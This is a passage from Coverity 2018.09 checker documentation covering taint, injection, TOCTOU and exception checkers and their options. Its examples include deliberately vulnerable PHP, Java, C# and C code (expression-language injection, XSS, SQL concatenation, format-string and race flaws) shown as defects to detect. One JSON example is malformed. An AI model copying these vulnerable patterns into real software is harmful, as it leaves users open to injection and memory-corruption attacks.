Dim dest As Object = Nothing
Copy(dest, src) ' The source and destination are swapped.
End Sub
End ClassThis section describes one or more SWAPPED_ARGUMENTS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SWAPPED_ARGUMENTS:callee_name_has:<regular_expression> -
For this option, the checker will not report a
defect if the regular expression matches in the simple function name of the
callee (class, package, and namespace name not included). Defaults to
SWAPPED_ARGUMENTS:callee_name_has:[eE]qual
SWAPPED_ARGUMENTS:caller_name_has:<regular_expression> -
For this option, the checker will not report a
defect if the regular expression matches in the simple function name or simple
class name of the caller (where defect is reported; package and namespace names
not included). Defaults to
SWAPPED_ARGUMENTS:caller_name_has:verse|vert|[sS]wap|[uU]ndo|[eE]xchange|[rR]otate|[tT]rans
Because SWAPPED_ARGUMENTS uses models to identify the parameter names of callees, the
declared names of parameters within models are key to the reporting of SWAPPED_ARGUMENTS
defects. So when writing a model, Coverity suggests that you use good parameter names, such
as the parameter names that you would declare and implement in the source code for your
application. If you instead provide positional parameter names such as
arg0, arg1, and so on, the checker will ignore them and
thereby suppress SWAPPED_ARGUMENTS defects in any callers. Using good parameter names or
positional parameter names in user models will suppress false positive defect reports
that result from confusing parameter names in bytecode.
The SYMFONY_EL_INJECTION checker finds Symfony Expression Language injection vulnerabilities in PHP code. These vulnerabilities occur when untrusted (tainted) data is evaluated by the Symfony Expression Language interpreter.
Disabled by default: SYMFONY_EL_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable SYMFONY_EL_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
A SYMFONY_EL_INJECTION defect shows a dataflow path by which an untrusted (tainted) source is used to construct an expression that is evaluated by the Symfony. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program; for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string evaluated as a Symfony Expression.
This section provides one or more SYMFONY_EL_INJECTION examples.
The following example passes the tainted data from an HTTP request to Symfony Expression Language:
<?php
use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
function check_if_username_is_valid($username) {
$language = new ExpressionLanguage();
$ret = $language->evaluate( $_GET["username"] . ' matches "/[a-zA-Z0-9]/"');
if ($ret) {
print "Valid Username\n";
} else {
print "Invalid Username\n";
}
}
?>This section describes one or more SYMFONY_EL_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SYMFONY_EL_INJECTION:distrust_all:<boolean> - [PHP only]
Setting this option to true is equivalent to setting all trust_*
checker options for this checker to false. Defaults
to SYMFONY_EL_INJECTION:distrust_all:false for
PHP.
This checker option is automatically set to true if the
SYMFONY_EL_INJECTION:webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
SYMFONY_EL_INJECTION:trust_command_line:<boolean> - [PHP
only] Setting this option to false causes the analysis to treat command line
arguments as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_command_line:true for PHP. Setting
this checker option will override the global --trust-command-line
and --distrust-command-line command line
options.
SYMFONY_EL_INJECTION:trust_console:<boolean> - [PHP only]
Setting this Web application security option to
false causes the analysis to treat data from the console as tainted.
Defaults to SYMFONY_EL_INJECTION:trust_console:true for
PHP. Setting this checker option will override the global
--trust-console and --distrust-console command
line options.
SYMFONY_EL_INJECTION:trust_cookie:<boolean> - [PHP only]
Setting this Web application security option to false causes the analysis to
treat data from HTTP cookies as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_cookie:false for PHP.
Setting this checker option will override the global --trust-cookie
and --distrust-cookie command line options.
SYMFONY_EL_INJECTION:trust_database:<boolean> -
[PHP only] Setting this Web application security option to false
causes the analysis to treat data from a database as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_database:true for PHP.
Setting this checker option will override the global
--trust-database and --distrust-database command
line options.
SYMFONY_EL_INJECTION:trust_environment:<boolean> - [PHP
only] Setting this Web application security option to false causes the analysis
to treat data from environment variables as tainted. Defaults to SYMFONY_EL_INJECTION:trust_environment:true for
PHP. Setting this checker option will override the global
--trust-environment and --distrust-environment
command line options.
SYMFONY_EL_INJECTION:trust_filesystem:<boolean> - [PHP
only] Setting this Web application option to false causes the analysis to treat
data from the filesystem as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_filesystem:true for
PHP.Setting this checker option will override the global
--trust-filesystem and --distrust-filesystem
command line options.
SYMFONY_EL_INJECTION:trust_http:<boolean> - [PHP only]
Setting this Web application security option to false causes the analysis to
treat data from HTTP requests as tainted. Defaults
to SYMFONY_EL_INJECTION:trust_http:false for PHP.
Setting this checker option will override the global --trust-http
and --distrust-http command line options.
SYMFONY_EL_INJECTION:trust_http_header:<boolean>
- [PHP only] Setting this Web application security option to
false causes the analysis to treat data from HTTP headers as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_http_header:true. Setting
this checker option will override the global
--trust-http-header and
--distrust-http-header command line options.
SYMFONY_EL_INJECTION:trust_network:<boolean> - [PHP only]
Setting this Web application security option to false causes the analysis to
treat data from the network as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_network:false for
PHP.Setting this checker option will override the global
--trust-network and --distrust-network command
line options.
SYMFONY_EL_INJECTION:trust_rpc:<boolean> - [PHP only]
Setting this Web application security option to false causes the analysis to
treat data from RPC requests as tainted. Defaults to
SYMFONY_EL_INJECTION:trust_rpc:false for PHP.
Setting this checker option will override the global --trust-rpc
and --distrust-rpc command line options.
SYMFONY_EL_INJECTION:trust_system_properties:<boolean> -
[PHP only] Setting this Web application security option to false causes the
analysis to treat data from system properties as tainted.Defaults to
SYMFONY_EL_INJECTION:trust_system_properties:true for
PHP. Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
TAINT_ASSERT identifies fields with a discrepancy between the user-asserted non-taintedness and the computed taint as determined by the Coverity analysis. This might indicate that the assertion is incorrect, and it should be reviewed as how the tainted data is inserted into the value (and the assertion removed if invalid). The presence of an incorrect assertion might suppress legitimate security defects that would otherwise be reported by the other web application security checkers.
This checker is not affected by the presence of positive assertions about taintedness.
User assertions about the non-taintedness of a field can be
specified by adding an annotation in the source code at the field definition, or through
the cov-analyze --not-tainted-field command line option. For more
information, see Options.
Defects will only be reported by this checker if either the not-tainted annotation or command line option is in use.
Disabled by default: TAINT_ASSERT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable TAINT_ASSERT
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more TAINT_ASSERT examples.
The following example illustrates an issue report in a Spring MVC 3.0 Web
application controller. Without the annotation on line 7 in
Record.java, a cross-site scripting defect will be reported
on line 16 (as well as line 15) in MyController.java. With the
@NotTainted annotation, the cross-site scripting (XSS) defect
reported on line 16 in MyController.java will be suppressed,
and a TAINT_ASSERT defect will be reported on line 7 in
Record.java.
Record.java
1 import com.coverity.annotations.NotTainted;
2
3 public class Record {
4 Record(String n, String s) { name = n; status = s; }
5
6 String name;
7 @NotTainted String status;
8 }
MyController.java:
1 import org.springframework.web.bind.annotation.RequestMapping;
2 import org.springframework.stereotype.Controller;
3
4 @Controller
5 public class MyController {
6
7 @RequestMapping("/new_record")
8 @ResponseBody
9 public String newRecord(HttpServletRequest req) {
10 Record rec = new Record(req.getParameter("name"),
11 req.getParameter("status"));
12
13 StringBuilder sb = new StringBuilder();
14 sb.append("<HTML><BODY>\n");
15 sb.append("name= "+rec.name+"\n");
16 sb.append("status= "+rec.status+"\n");
17 sb.append("</BODY></HTML>\n");
18
19 return sb.toString();
20 }
21 }
Alternatively, if the cov-analyze
--not-tainted-field Record.* command line option is passed with the
above code, all string-valued fields of the Record class (name and status) would be
asserted to be not tainted. In this scenario, no cross-site scripting defects would
be reported, but TAINT_ASSERT issues would be reported on both lines 6 and 7 of
Record.java.
The following example contrasts defect reports by the TAINT_ASSERT and SQLI checkers when the [NotTainted] attribute is used.
using System.Web;
using Coverity.Attributes;
public class TaintAssert {
[NotTainted] string asserted_safe; // TAINT_ASSERT defect
public void violate_assertion(HttpRequest req)
{
asserted_safe = req["MyParameter"];
}
public string user_assertion()
{
// Other checkers (for example, SQLI) will honor the [NotTainted] assertion.
return "SELECT * from table USERS where " + asserted_safe; // not an SQLI defect
}
}There are no options to this checker. For further details, see Section 4.207.5, “Annotations and Attributes” for TAINT_ASSERT.
This section describes one or more events produced by the TAINT_ASSERT checker.
taint_violation (main event): Tainted data flows to a field
that is marked as untainted.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
User assertions about the non-taintedness of a field can be specified in one of two
ways: Adding an annotation in the source code at the field definition (see Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ” and Section 6.2.2, “Adding Annotations for C# or Visual Basic”) or by
using the cov-analyze --not-tainted-field option. For examples that use
these assertions, see Section 4.207.2, “Examples” for TAINT_ASSERT. For
information about the command line option, see the
Coverity 2018.09 Command Reference.
Supported Languages: C, C++, Objective-C, Objective-C++
TAINTED_SCALAR finds many instances where scalars (for example, integers) are not properly bounds-checked (sanitized) before being used as array or pointer indexes, loop boundaries, or function arguments. Scalars that are not sanitized are considered tainted. Missing or inadequate scalar validation can cause buffer overflows, integer overflows, denials of service, memory corruption, and security vulnerabilities.
Signed scalars must be upper- and lower-bounds checked. Unsigned integers need only an upper-bounds check. You can also sanitize scalars with an equality check since this effectively bounds the value to a single number.
To enable taint to flow downwards from C and C++ unions to their component fields, you can set
the --inherit-taint-from-unions option to the cov-analyze
command.
Disabled by default: TAINTED_SCALAR is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable TAINTED_SCALAR
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more TAINTED_SCALAR examples.
In the following example, the tainted integer
nresp, read from a packet, is only lower-bounds checked and not
upper-bounds checked. This is a defect because a tainted expression: (nresp *
sizeof(char *)): is being passed to xmalloc(). This
expression can cause an integer overflow, which can result in a buffer overflow, denial
of service, memory corruption, or other security vulnerability.
void tainted_scalar_example() {
int nresp = packet_get_int();
if (nresp > 0) {
response = xmalloc(nresp * sizeof(char *));
for (i = 0; i < nresp; i++) { // tainted scalar controls loop
response[i] = packet_get_string(NULL); // heap corruption
}
}
}Properly sanitize the tainted variable before use. For example, the following is
not a defect because nresp's lower and upper
bounds are checked before any dangerous uses.
#define MAX_NRESP 256
...
void tainted_scalar_example() {
int nresp = packet_get_int();
if (nresp > 0 && nresp < MAX_NRESP) {
response = xmalloc(nresp * sizeof(char *));
for (i = 0; i < nresp; i++) {
response[i] = packet_get_string(NULL);
}
}
}This section describes one or more TAINTED_SCALAR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
TAINTED_SCALAR:tainting_byteswaps:<boolean> - If this
option is set to true, the checker
will treat buffers used to load integers one byte at a time as defects. Defaults to
TAINTED_SCALAR:tainting_byteswaps:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
Example:
char *p;
void xxx() {
int array[10];
// Assume that 'p' is tainted because of the following:
unsigned x = ((unsigned) p[0] << 8) | (unsigned) p[1];
array[x] = 0; // BUG
}TAINTED_SCALAR:track_general_dataflow:<boolean> - If this option is set to true, the checker will enable a preview mode that
extends the kinds of constructs that the checker handles. Defaults to
TAINTED_SCALAR:track_general_dataflow:false
The following example allows the checker to track global variables:
int global;
int getGlobal() {
return global;
}
void taintGlobal(int fd) {
read(fd, &global, sizeof(global));
}
void test(int fd) {
int array[10];
taintGlobal(fd);
array[getGlobal()] = 0; // defect reported
}![]() | About this option: |
|---|---|
This option might cause the runtime to increase dramatically. In addition, the checker might report duplicate defect instances in Coverity Connect (that is, software issues with the same CID) in cases where the new mode overlaps with the old (for example, defects that only involve local variables). Use
of this option could yield more false positives than normal from this
checker. Also, changes to this feature in the next release could change the
number of issues found. You can provide feedback to |
You can create custom user models to indicate security-specific information about certain functions.
This model indicates that packet_get_int() returns tainted data
and should be tracked as such:
unsigned int packet_get_int() {
return __coverity_tainted_data_return__();
}
This model indicates custom_read() taints its argument
buf. The POSIX read interface is modeled
with a similar stub function:
void custom_read(int fd, void *buf) {
__coverity_tainted_data_argument__(buf);
}
This model indicates custom_write() is a tainted data sink for
argument count. The POSIX write interface is
modeled with a similar stub function:
void custom_write(int fd, const void *buf, size_t count) {
__coverity_tainted_data_sink__(count);
}
This model indicates that custom_copy() will transitively taint
argument dest based on the tainted state of argument src (and only if
n != 0). The standard C interface memcpy is
modeled with a similar stub function:
void *custom_copy(void *dest, void *src, size_t n) {
if (n != 0) {
__coverity_tainted_data_transitive__(dest, src);
}
return dest;
}
The next model indicates that custom_sprintf() will transitively
taint argument 0 if any argument from 2 onward is tainted. The standard C interface
sprintf is modeled with a similar stub function:void custom_sprintf(char *str, const char *format, ...) {
__coverity_tainted_data_transitive_vararg_inbound__(0,2);
}This model indicates that custom_sscanf() will transitively taint
arguments 2 and onward if argument 0 is tainted:
void custom_sscanf(const char *str, const char *format, ...) {
__coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}
This model indicates that get_int() returns tainted data if
p was tainted. In contrast, __coverity_tainted_data_transitive__ is
used to propagate taintedness from one argument to another:
int get_int(struct buffer *p) { // get_int pulls an integer out of some buffer
return __coverity_tainted_data_transitive_return__(p);
}
The next model indicates that verifyHandle() returns true if the
handle argument is valid (and thus should no longer be considered
tainted). If the handle argument is not valid, verifyHandle()
returns false and the analysis continues to track handle as tainted:
bool validHandle(int handle) {
int is_valid_handle;
if (is_valid_handle) {
__coverity_tainted_data_sanitize__(handle);
return true;
} else {
return false;
}
}Besides library models, you can also use the following function annotation tags in source code comments that immediately precede the targeted function:
+tainted_data_return: Specifies that a function returns
tainted data. For example, the following code specifies that the
packet_get_int() function returns a tainted value:
// coverity[ +tainted_data_return ]
unsigned int packet_get_int() {...}
+tainted_data_argument: Specifies that a function taints an
argument. For example, the following code specifies that the
custom_read() function taints its buf
argument:
// coverity[ +tainted_data_argument : arg-1 ]
void custom_read(int fd, void *buf) {...}
+tainted_data_sink: Specifies that a function requires a
sanitized argument. For example, the following code specifies that the
custom_write() function requires a sanitized
buf argument:
// coverity[ +tainted_data_sink : arg-1 ]
void custom_write(int fd, const void *buf, size_t count) {...}
Coverity Analysis will consider only scalars that are tainted when they come from a known tainted
source. You can create a model without Coverity Analysis primitives to override inferred models. You
can suppress single false positives using the //coverity
annotations.
The TAINTED_SCALAR checker can infer three different types of incorrect interprocedural information:
A value returned from a function is tainted.
A function taints an argument.
A potentially tainted value is used in a called function in a dangerous way.
For example, suppose Coverity Analysis incorrectly analyzes the function
return_cleansed_scalar() and assumes it can return a tainted
scalar when, in fact, the return value is safe. To eliminate this false positive, you
can add the following model to the library:
int return_cleansed_scalar() {
int ret;
return ret;
}This model indicates that the returned value is not to be considered tainted.
Function annotations can be expressed in comments immediately preceding the functions they effect. You can use function annotations to ignore function models with the following tags:
-tainted_data_return: Specifies that a function does not
return tainted data. For example, the following code specifies that the
packet_get_int() function does not return a tainted
value:
// coverity[ -tainted_data_return ]
unsigned int packet_get_int() {...}
-tainted_data_argument: Specifies that a function does not
taint a specified argument. For example, the following code specifies that the
custom_read() function does not taint its buf
argument:
// coverity[ -tainted_data_argument : arg-1 ]
void custom_read(int fd, void *buf) {...}
-tainted_data_sink: Specifies that a function does not
require a sanitized argument. For example, the following code specifies that the
custom_write() function does not require that its
buf argument is sanitized:
// coverity[ -tainted_data_sink : arg-1 ]
void custom_write(int fd, const void *buf, size_t count) {...}
This section describes one or more events produced by the TAINTED_SCALAR checker.
tainted_data_return - A function can return a tainted value
to the current call site.
tainted_data_argument - A function can taint a given
argument.
tainted_data_transitive - A function will transitively taint
a given interface (argument or return) based on an argument's tainted
status.
vararg_transitive - A function with a variable number of
arguments will transitively taint a given argument based on the tainted status
of the variable argument list.
tainted_data - A potentially tainted scalar has been passed
to a tainted data sink or has been used unsafely (array/pointer index or loop
bounds).
Supported Languages: C, C++, Objective-C, Objective-C++
TAINTED_STRING finds many cases where a string flows from an untrusted (tainted) source, past any validation/sanitization routines that might otherwise catch dangerous content, to a sink that trusts its input, such as an interpreter. Strings that have not been properly validated (sanitized) are considered tainted. Improperly trusting tainted strings can cause unsafe resource reading or writing, access control violations, environment corruption, cross-site scripting, file corruption, format string vulnerabilities, command injection, SQL injection, and other string-related security flaws
Because an array of characters must be validated, as opposed to bounds checking a single value, string sanitization is inherently more difficult than scalar cleansing. Doing so, therefore, usually means passing the string to a sanitizing function before using it in a trusted sink.
To fix tainted string defects, you can use a programmer-defined format-string, such as
syslog(LOG_WARNING, "%s", error_msg). Or, you can check for format
specifiers before passing to syslog()code. In general, you should run
tainted strings through a sanitizing routine before using in a potentially unsafe
way.
Disabled by default: TAINTED_STRING is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable TAINTED_STRING
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more TAINTED_STRING examples.
The following is a defect because the tainted
string request, read from a packet, fails validation as a legal request,
yet is used to form an error message that is passed to syslog(). If
the request includes format specifiers, it is possible to overwrite stack memory and
execute arbitrary code.
void tainted_string_example() {
char *request = packet_get_string();
if (!legal_request(request)) {
sprintf(error_msg, "Illegal request: %s", request); /* sprintf()
transitively taints error_msg */
...
syslog(LOG_WARNING, error_msg);
}
}This section describes one or more TAINTED_STRING options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
TAINTED_STRING:paranoid_format:<boolean> - When this
option is set to true, the checker
reports a TAINTED_STRING_WARNING defect if a non-constant string is used as a
format string argument. It addresses the case where Coverity Analysis does not track the
propagation of tainted string, which typically occurs once the string flows
through a global variable. For a format string vulnerability, adding a correct
format specifier (usually "%s") as the format string argument usually alleviates
the problem. Defaults to
TAINTED_STRING:paranoid_format:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
Examples when using the paranoid_format option:
char *g_stuff;
void test1() {
printf(g_stuff); //A defect.
}
void test2(char *stuff) {
printf(stuff); //Not a defect.
}
void test3() {
test2(g_stuff); //A defect.
}The test2 example will not report a defect immediately, but any
caller of test2 that uses a non-constant format string will be
flagged as a defect. This improves results for when a user-written function
wraps standard library format string functions.
With cov-make-library, you can use the following Coverity Analysis primitives to
create custom models for TAINTED_STRING.
The following model indicates that packet_get_string() returns a
tainted string. This model is similar to the model used for the POSIX call
getenv().
void *packet_get_string() {
return __coverity_tainted_string_return_content__();
}The following model indicates that custom_string_read() taints
its argument s.
char *custom_string_read(char *s, int size, FILE *stream) {
__coverity_tainted_string_argument__(s);
return s;
}The following model indicates that s will be sanitized when
custom_sanitize() returns true but will
not be cleansed if the function returns false.
bool custom_sanitize(const char *s) {
bool ok_string;
if (ok_string == true) {
__coverity_tainted_string_sanitize_content__(s);
return true;
}
return false;
}The following model indicates that custom_db_command() is a
tainted string sink with respect to its argument command.
void custom_db_command(const char *command) {
__coverity_tainted_string_sink_content__(command);
}The following model indicates that custom_printf() is a format
string sink with respect to its argument format. The following model
is similar to the model used for the standard C function
printf().
void custom_printf(const char *format, ...) {
__coverity_format_string_sink__(format);
}Instead of library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:
+tainted_string_return_content: Specifies that a function
returns tainted string data. For example, the following code specifies that
packet_get_string() returns a tainted string
value:
// coverity[ +tainted_string_return_content ]
char* packet_get_string() {...}+tainted_string_argument: Specifies that a function taints
the contents of a string argument. For example, the following specifies that
custom_string_read() taints the contents of its
s argument:
// coverity[ +tainted_string_argument : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}+tainted_string_sink_content: Specifies that a function
requires a sanitized string argument. For example, the following specifies that
custom_string_read() requires a sanitized
s argument:
// coverity[ +tainted_string_sink_content : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}+tainted_string_sanitize_content: specifies that a function
sanitizes a string argument. For example, the following specifies that
custom_sanitize() sanitizes its s
string argument:
// coverity[ +tainted_string_sanitize_content : arg-0 ]
void custom_sanitize(char* s) {...}You may also annotate certain struct fields to flag that they contain
tainted data. To annotate a field, use a comment that starts with //
coverity[+ or /* coverity[+, followed by the word
tainted, then optionally followed by :* if pointing to
tainted data, then ]. For example:
struct X {
// coverity[+tainted]
int tainted_field; // Contains tainted data
// coverity[+tainted: *]
int * tainted_target_field; // Points to tainted data
};This annotation does not work for aggregate types, structs or unions.
The TAINTED_STRING analysis uses several types of interprocedural information. Just as
with TAINTED_SCALAR, Coverity Analysis will not infer taintedness on its own. Therefore, strings are
only considered tainted when coming from a known tainted source. Thus, creating a model
without Coverity Analysis primitives is the easiest way to override inferred models. You can suppress
single defects using //coverity annotations.
TAINTED_STRING can infer four different types of incorrect interprocedural information:
get_string(string &s) and assumes that it taints an
argument when, in fact, it does not. You can add the following model to the library to
eliminate this false positive:
size_t get_string(string &s) {
size_t size_s;
return size_s;
}The
model indicates that the argument s is not to be considered tainted. You can use the following function annotation tags to ignore function models:
-tainted_string_return_content: Specifies that a function
does not return tainted string data. For example, the following specifies that
packet_get_string() does not return a tainted string
value:
// coverity[ -tainted_string_return_content ]
char* packet_get_string() {...}
-tainted_string_argument: Specifies that a function does
not taint the contents of a string argument. For example, the following
specifies that custom_string_read() does not taint the
contents of its s argument:
// coverity[ -tainted_string_argument : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}
-tainted_string_sink_content: Specifies that a function
does not require a sanitized string argument. For example, the following
specifies that custom_string_read() does not require a
sanitized s argument:
// coverity[ -tainted_string_sink_content : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}
-tainted_string_sanitize_content: Specifies that a function
does not sanitize a string argument. For example, the following specifies that
custom_sanitize() does not sanitize its
s string argument:
// coverity[ -tainted_string_sanitize_content : arg-0 ]
void custom_sanitize(char* s) {...}
This section describes one or more events produced by the TAINTED_STRING checker.
tainted_string_return_content: A function that can return a
tainted string to the current call site.
tainted_string_argument: A function that can taint a given
argument.
tainted_data_transitive: A function that will transitively
taint a given interface (argument or return) based on the tainted status of an
argument.
vararg_transitive: A variable number of arguments that will
transitively taint a given argument based on the tainted status of the variable
argument list.
tainted_string: A potentially tainted string has been passed
to a tainted string sink.
Supported Languages: C, C++, Objective-C, Objective-C++
The TAINTED_STRING checker can report TAINTED_STRING_WARNING
defects when the paranoid_format option to the TAINTED_STRING checker is set to
true. See TAINTED_STRING.
Supported Languages: Text, XML
Coverity Analysis provides the ability to create user-defined text checkers. These checkers can be used to match patterns that indicate illegal data, misconfiguration, or other issues of concern.
The defect patterns can be specified in terms of regular expressions on the string contents of a file. If the file can be parsed as XML, the defect pattern may be specified as an Xpath 1.0 expression.
The checkers are defined using a JSON configuration file passed through the
--directive-file option to the
cov-analyze
command. See also, Section E.1, “Security Configuration File Reference”.
Text checkers analyze only the text data in the emit database. Text data is emitted
via filesystem capture (see
cov-build
), from a Java
web-application archive (see
Coverity Analysis 2018.09 User and Administrator Guide
), or during an ASP.NET compilation (see
Coverity Analysis 2018.09 User and Administrator Guide
). The text data in an intermediate directory can be
viewed using the cov-manage-emit list command (see
cov-manage-emit
).
Enabled by default: TEXT.CUSTOM_CHECKER is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Top-level fields: The top-level fields in the JSON configuration file for this checker are the same as those described in Section E.1.4.1, “Top-level value” for security configuration files.
A custom text checker can only be used in a JSON configuration file that has a
format_version value of 8 or higher.
A custom text checker can appear in a configuration file with any 'language' value. The checker will only be run on text translation units-- not source files-- and the language value does not have any effect on this.
Directive syntax: The text checker directive is a JSON object with the following fields:
"text_checker_name" takes a JSON string that starts with "TEXT."
and consists of capital letters. For example, TEXT.MY_CHECKER, but neither
TEXT.My_Checker nor MY_CHECKER.
"file_pattern" takes a RegexPattern object to
describe the file name paths in which defects should be reported. No defects
will be reported except in the matched files. The file names with be
standardized in the following manner:
The name is made absolute, including the drive letter on Windows systems.
The forward-slash character ("/") separates name components.
When no drive letter is present, the name begins with a forward-slash character ("/"); otherwise, a forward-slash character ("/") follows the drive letter.
"defect_pattern" takes a Pattern object to match
particular inputs in an analyzed file. A defect will be reported at each match
location.
"defect_message" is an optional field that takes a JSON string to
print in the defect event message.
"remediation_advice" is an optional field that takes a JSON
string to print as remediation advice in each defect report.
"new_issue_type" is an optional field that takes an IssueTypeDefinition object. This is used to define the checker
properties, a CWE mapping, and issue taxonomy.
Example 1: . Match an unsafe regular expression pattern in a JSON configuration file. This demonstrates the minimum required fields.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "Javascript",
"directives" : [
{
"dataflow_checker_name" : "TEXT.UNSAFE_SETTING",
"file_pattern" : { "regex" : "config(-.+)\\.json$",
"case_sensitive" : false },
"defect_pattern" : { "regex" : "unsafe.*:.*true" }
}
]
}
]
}This checker will report a TEXT.UNSAFE_SETTING defect in the following
config.json file:
{
"mode" : 1,
"version" : "2.9.6",
"unsafe" : true
}
Example 2: . Match an unsafe xpath expression in an XML configuration file.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "Java",
"directives" : [
{
"text_checker_name" : "TEXT.NO_TEST_SERVLETS",
"file_pattern" : { "regex" : "WEB-INF\\/web\\.xml$",
"case_sensitive" : false },
"defect_pattern" : { "xpath" : "/*[local-name()='web-app']/*[local-name()='servlet']/*[local-name()='servlet-name'][contains(text(), 'test')]" },
"defect_message" : "A possible test servlet is deployed.",
"remediation_advice" : "Test code should be removed from the production environment.",
"new_issue_type" : {
"type" : "leftover_debug_code",
"name" : "Deployed test servlet",
"description" : "A possible test servlet will be deployed.",
"local_effect" : "Leftover debug or test code is not intended to be deployed with the application in a production environment, and it may expose unintended functionality or bypass security features.",
"cwe" : 489,
"impact" : "Medium",
"category" : "Medium impact security",
"security_kind" : true,
}
}
]
}Because of the directives, the analysis reports a TEXT.NO_TEST_SERVLETS defect in the following web.xml web application deployment descriptor:
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<servlet>
<servlet-name>test services</servlet-name>
<servlet-class>com.synopsys.killerapp.test.TestServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>test services</servlet-name>
<url-pattern>/test/*</url-pattern>
</servlet-mapping>
</web-app>Supported Languages: C, C++, Objective-C, Objective-C++
TOCTOU, TOCTOU (an acronym for Time Of
Check To Time Of Use), finds many cases where filenames are unsafely checked before
being used. In a program that runs with elevated privileges, this can expose a
file-based race condition vulnerability that can be used to subvert system security. A
common code mistake is to do a filename access check and, if it succeeds, perform a
privileged system call on that filename. A problem arises when an attacker can change
the filename's file association between the access and usage calls, for example, by
manipulating symbolic links. In some cases, such vulnerabilities can be eliminated by
passing file descriptors between system calls instead of file names. However, the POSIX
API is not rich enough to close all vulnerabilities in that way, so more dramatic
program restructuring, such as using setuid to temporarily drop privileges,
might be required.
This checker supports the following check functions:
stat, lstat, statfs, access, readlink
This checker supports the following use functions:
basename, bindtextdomain, catopen, chown, dirname, dlopen, freopen, ftw, mkfifo, nftw, opendir, pathconf, realpath, setmntent, utmpname, chdir, chmod, chroot, creat, execv, execve, execl, execlp, execvp, execle, lchown, mkdir, fopen, remove, tempnam, mknod, quotactl, rmdir, truncate, umount, unlink, uselib, utime, utimes, link, mount, rename, symlink, open
Disabled by default: TOCTOU is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable TOCTOU
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more TOCTOU examples.
This program is susceptible to a file-based
race condition because the logfile binding can possibly change between the
stat() and open() calls.
void toctou_example() {
stat(logfile, &st);
if (st.st_uid != getuid())
return -1;
open(logfile, O_RDWR);
}
UNCAUGHT_EXCEPT finds many cases in which an exception is thrown and never caught, or violates a function's exception specification. Usually, the result of such behavior is abnormal program termination.
The checker reports a defect if any of the following items occurs:
An exception that is not allowed by the exception specification of a function is thrown.
An exception is thrown from a root function. By default, a root function is defined as having no known callers, and its name matches the following regular expression:
((((^|_)m|M)ain)|(^MAIN))$
The preceding regular expression matches main,
WinMain, MAIN. It does not match
DOMAIN.
![]() | |
By default, the checker ignores |
Enabled by default: UNCAUGHT_EXCEPT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNCAUGHT_EXCEPT examples.
// Example 1:
// Prototypical defect.
int main(){
throw 7;
return 0;
}// Example 2:
// A simple defect resulting from a function call.
void fun() {
throw 7;
}
int main(){
fun();
return 0;
}// Example 3:
// An exception is thrown,
// violating the exception specification.
void fun() {
throw 7;
}
void cannot_throw() throw() {
fun();
}// Example 4:
// An exception is thrown inside a try-catch block,
// but none of the catch statements has a matching type.
class A {};
class B {};
class C {};
int main(){
try {
throw A();
} catch (B b){
} catch (C b){
}
return 0;
}// Example 5:
// The exception is caught, but can be re-thrown.
class A {};
int main() {
try {
throw A(); //Will not be caught.
